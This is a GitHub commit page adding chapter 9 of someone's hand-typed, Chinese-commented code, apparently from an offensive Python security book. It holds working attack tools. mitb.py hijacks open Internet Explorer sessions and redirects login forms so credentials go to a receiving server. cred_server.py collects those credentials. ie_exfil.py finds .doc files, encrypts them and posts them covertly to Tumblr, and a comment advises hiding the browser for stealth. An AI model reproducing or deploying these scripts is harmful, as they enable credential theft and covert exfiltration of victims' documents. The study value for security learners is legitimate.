Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Appearance settings

Commit 20fc3a6

Browse filesBrowse files
giantbranchgiantbranch
committed
finished chapter 9
1 parent d60bcdc commit 20fc3a6
Copy full SHA for 20fc3a6

File tree

Expand file treeCollapse file tree

322 files changed

+65889
-0
lines changed
Filter options

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.
Dismiss banner
Expand file treeCollapse file tree

322 files changed

+65889
-0
lines changed

‎我手敲的代码(中文注释)/chapter9/VCForPython27.msi

Copy file name to clipboard
83.8 MB
Binary file not shown.

‎我手敲的代码(中文注释)/chapter9/cred_server.py

Copy file name to clipboard
+33Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: cred_server.py
7+
@time: 2016/3/11 22:26
8+
"""
9+
10+
import SimpleHTTPServer
11+
import SocketServer
12+
import urllib
13+
14+
15+
16+
class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
17+
# 处理POST请求
18+
def do_POST(self):
19+
# 获取包长度
20+
content_length = int(self.headers['Content-Length'])
21+
# 读取这么多长度的内容并打印出来，登录凭证就出来了
22+
creds = self.rfile.read(content_length).decode('utf-8')
23+
print creds
24+
# 跟着获取用户访问的原始站点，进行301重定向，并设置头部
25+
site = self.path[1:]
26+
self.send_response(301)
27+
self.send_header("Location",urllib.unquote(site))
28+
self.end_headers()
29+
30+
# 初始化监听地址和端口，并调用一个类来处理请求，其实就是处理POST请求
31+
server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
32+
# 永远监听
33+
server.serve_forever()

‎我手敲的代码(中文注释)/chapter9/decryptor.py

Copy file name to clipboard
+32Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: decryptor.py
7+
@time: 2016/3/13 10:21
8+
"""
9+
10+
import zlib
11+
import base64
12+
from Crypto.PublicKey import RSA
13+
from Crypto.Cipher import PKCS1_OAEP
14+
15+
private_key = ""
16+
17+
rsakey = RSA.importKey(private_key)
18+
rsakey = PKCS1_OAEP.new(rsakey)
19+
20+
chunk_size = 256
21+
offset = 0
22+
decrypted = ""
23+
encrypted = base64.b64decode(encrypted)
24+
25+
while offset < len(encrypted):
26+
decrypted += rsakey.decrypt(encrypted[offset:offset+chunk_size])
27+
offset += chunk_size
28+
29+
# 解压负载
30+
plaintext = zlib.decompress(decrypted)
31+
32+
print plaintext

‎我手敲的代码(中文注释)/chapter9/ie_exfil.py

Copy file name to clipboard
+173Lines changed: 173 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,173 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: ie_exfil.py
7+
@time: 2016/3/11 23:13
8+
"""
9+
10+
import win32com.client
11+
import os
12+
import fnmatch
13+
import time
14+
import random
15+
import zlib
16+
17+
from Crypto.PublicKey import RSA
18+
from Crypto.Cipher import PKCS1_OAEP
19+
20+
doc_type = ".doc"
21+
username = ""
22+
password = ""
23+
24+
public_key = "-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnqDNZMxg2xp620nt0QTwJ0Bv7pRJvdV0Yems1JxnOqA3uCrdZe/fXpD7+kUFRZ6sCZnvcicuyGDMKszvIK75/QWLLCIoMt5cPk1gqsN1djFmG95k63Z/fU1CZbcWa3Kdzo5Ca0Mu262y/n0q5r8TT4khKNOsjeyup1Fk3ll+/DrUrMqxXmX6YK/tGtJhzT+wK55zoZakVR+9S8wHQq27Y+y2xhS2aq1sxZEnYM3/MGerH8nRZZ4WLf2bqMUHywT80cVCxkHb7J5dKNELx4PRIWPbYdmRxHljJpK2kt383yoIQihK5qKkj2SuBFsvoVNEwq4hzVGQTBNn43BRVj8BpwIDAQAB-----END PUBLIC KEY-----"
25+
26+
27+
def wait_for_browser(browser):
28+
# 等待浏览器加载完一个页面
29+
while browser.ReadyState != 4 and browser.ReadyState != "complete":
30+
time.sleep(0.1)
31+
32+
return
33+
34+
def encrypt_string(plaintext):
35+
# 设置块大小
36+
chunk_size = 256
37+
print "Compressing: %d bytes" % len(plaintext)
38+
# 首先调用zlib进行压缩
39+
plaintext = zlib.compress(plaintext)
40+
41+
print "Encrypting %d bytes" % len(plaintext)
42+
43+
# 利用公钥建立RSA公钥加密对象
44+
rsakey = RSA.importKey(public_key)
45+
rsakey = PKCS1_OAEP.new(rsakey)
46+
47+
encrypted = ""
48+
offset = 0
49+
50+
# 对文件内容进行每256个字节为一块循环加密
51+
while offset < len(plaintext):
52+
# 获取某个256字节
53+
chunk = plaintext[offset:offset+chunk_size]
54+
# 若到最后不够256字节，则用空格补够
55+
if len(chunk) % chunk_size != 0:
56+
chunk += " " * (chunk_size - len(chunk))
57+
# 将已加密的连起来
58+
encrypted += rsakey.encrypt(chunk)
59+
# 偏移增加
60+
offset += chunk_size
61+
# 对加密后的进行base64编码
62+
encrypted = encrypted.encode("base64")
63+
# 输出最后加密后的长度
64+
print "Base64 encodeed crypto: %d" % len(encrypted)
65+
# 返回加密后内容
66+
return encrypted
67+
68+
def encrypt_post(filename):
69+
70+
# 打开并读取文件
71+
fd = open(filename, "rb")
72+
contents = fd.read()
73+
fd.close()
74+
# 分别加密文件名和内容
75+
encrypt_title = encrypt_string(filename)
76+
encrypt_body = encrypt_string(contents)
77+
78+
return encrypt_title, encrypt_body
79+
80+
# 随机休眠一段时间
81+
def random_sleep():
82+
time.sleep(random.randint(5,10))
83+
return
84+
85+
def login_to_tumblr(ie):
86+
87+
# 解析文档中的所有元素
88+
full_doc = ie.Document.all
89+
# 迭代每个元素来查找登陆表单
90+
for i in full_doc:
91+
if i.id == "signup_email":
92+
i.setAttribute("value", username)
93+
elif i.id == "signup_password":
94+
i.setAttribute("value", password)
95+
96+
random_sleep()
97+
98+
try:
99+
# 你会遇到不同的登陆主页
100+
if ie.Document.forms[0].id == "signup_form":
101+
ie.Document.forms[0].submit()
102+
else:
103+
ie.Document.forms[1].submit()
104+
except IndexError, e:
105+
pass
106+
107+
random_sleep()
108+
109+
# 登陆表单是登陆页面的第二个表单
110+
wait_for_browser(ie)
111+
return
112+
113+
def post_to_tumblr(ie, title, post):
114+
full_doc = ie.Document.all
115+
116+
for i in full_doc:
117+
if i.id == "post_one":
118+
i.setAttribute("value", title)
119+
title_box = i
120+
elif i.id == "post_two":
121+
i.setAttribute("innerHTML", post)
122+
elif i.id == "create_post":
123+
print "Found post button"
124+
post_form = i
125+
i.focus()
126+
127+
random_sleep()
128+
title_box.focus()
129+
random_sleep()
130+
131+
post_form.childran[0].click()
132+
wait_for_browser(ie)
133+
134+
random_sleep()
135+
136+
return
137+
138+
def exfiltrate(document_path):
139+
# 创建IE实例化对象
140+
ie = win32com.client.Dispatch("InternetExplorer.Application")
141+
# 调试阶段设置为1，实际设置为0，以增加隐蔽性
142+
ie.Visible = 1
143+
144+
# 访问tumblr站点并登陆
145+
ie.Navigate("http://www.tumblr.com/login")
146+
wait_for_browser(ie)
147+
148+
print "Logging in ..."
149+
login_to_tumblr(ie)
150+
print "Logged in ... navigating"
151+
152+
ie.Navigate("https://www.tumblr.com/new/text")
153+
wait_for_browser(ie)
154+
155+
# 加密文件
156+
title,body = encrypt_post(document_path)
157+
158+
print "Creating new post..."
159+
post_to_tumblr(ie, title, body)
160+
print "Posted!"
161+
162+
# 销毁IE实例
163+
ie.Quit()
164+
ie = None
165+
166+
167+
# 用户文档检索的主循环
168+
for parent, directories, filenames in os.walk("C:\\test\\"):
169+
for filename in fnmatch.filter(filenames, "*%s" % doc_type):
170+
document_path = os.path.join(parent, filename)
171+
print "Found: %s" % document_path
172+
exfiltrate(document_path)
173+
raw_input("Continue?")

‎我手敲的代码(中文注释)/chapter9/keygen.py

Copy file name to clipboard
+22Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: keygen.py
7+
@time: 2016/3/13 9:55
8+
"""
9+
10+
from Crypto.PublicKey import RSA
11+
12+
# 随机地生成一个新的RSA key对象
13+
new_key = RSA.generate(2048, e = 65537)
14+
15+
# 导出公钥和私钥
16+
public_key = new_key.publickey().exportKey("PEM")
17+
private_key = new_key.exportKey("PEM")
18+
19+
# 分别输出公钥和私钥
20+
print public_key
21+
print private_key
22+

‎我手敲的代码(中文注释)/chapter9/mitb.py

Copy file name to clipboard
+85Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#-*- coding:utf8 -*-
2+
3+
"""
4+
@version:
5+
@author: giantbranch
6+
@file: mitb.py
7+
@time: 2016/3/11 12:09
8+
"""
9+
10+
import win32com.client
11+
import time
12+
import urlparse
13+
import urllib
14+
15+
# 接受窃取的数据的服务器
16+
data_receiver = "http://127.0.0.1:8080/"
17+
18+
# 目标站点
19+
target_sites = {}
20+
21+
target_sites["www.163.com"] = {
22+
"logout_url" : "",
23+
"logout_form" : None,
24+
"logout_form_index":0,
25+
"owned" :False
26+
}
27+
target_sites["reg.163.com"] = {
28+
"logout_url" : "",
29+
"logout_form" : None,
30+
"logout_form_index":0,
31+
"owned" :False
32+
}
33+
34+
35+
36+
# IE浏览器类的ID号
37+
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'
38+
39+
# COM对象实例化，就是上面那个
40+
windows = win32com.client.Dispatch(clsid)
41+
42+
def wait_for_browser(browser):
43+
# 等待浏览器加载完一个页面
44+
while browser.ReadyState != 4 and browser.ReadyState != "complete":
45+
time.sleep(0.1)
46+
47+
return
48+
49+
while True:
50+
51+
for browser in windows:
52+
url = urlparse.urlparse(browser.LocationUrl)
53+
if url.hostname in target_sites:
54+
#print "i am in"
55+
if target_sites[url.hostname]["owned"]:
56+
continue
57+
58+
# 如果有一个URL，我们可以重定向
59+
if target_sites[url.hostname]["logout_url"]:
60+
browser.Navigate(target_sites[url.hostname]["logout_url"])
61+
wait_for_browser(browser)
62+
else:
63+
# 检索文件中的所有元素
64+
full_doc = browser.Document.all
65+
# 迭代寻找注销表单
66+
for i in full_doc:
67+
try:
68+
# 找到退出登陆的表单并提交
69+
if i.id == target_sites[url.hostname]["logout_form"]:
70+
i.submit()
71+
wait_for_browser(browser)
72+
except:
73+
pass
74+
# 现在来修改登陆表单
75+
try:
76+
login_index = target_sites[url.hostname]["login_form_index"]
77+
login_page = urllib.quote(browser.LocationUrl)
78+
browser.Document.forms[login_index].action = "%s%s" % (data_receiver, login_page)
79+
target_sites[url.hostname]["owned"] = True
80+
except:
81+
pass
82+
time.sleep(5)
83+
84+
85+

‎我手敲的代码(中文注释)/chapter9/pycrypto-2.6.1.tar.gz

Copy file name to clipboard
436 KB
Binary file not shown.

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.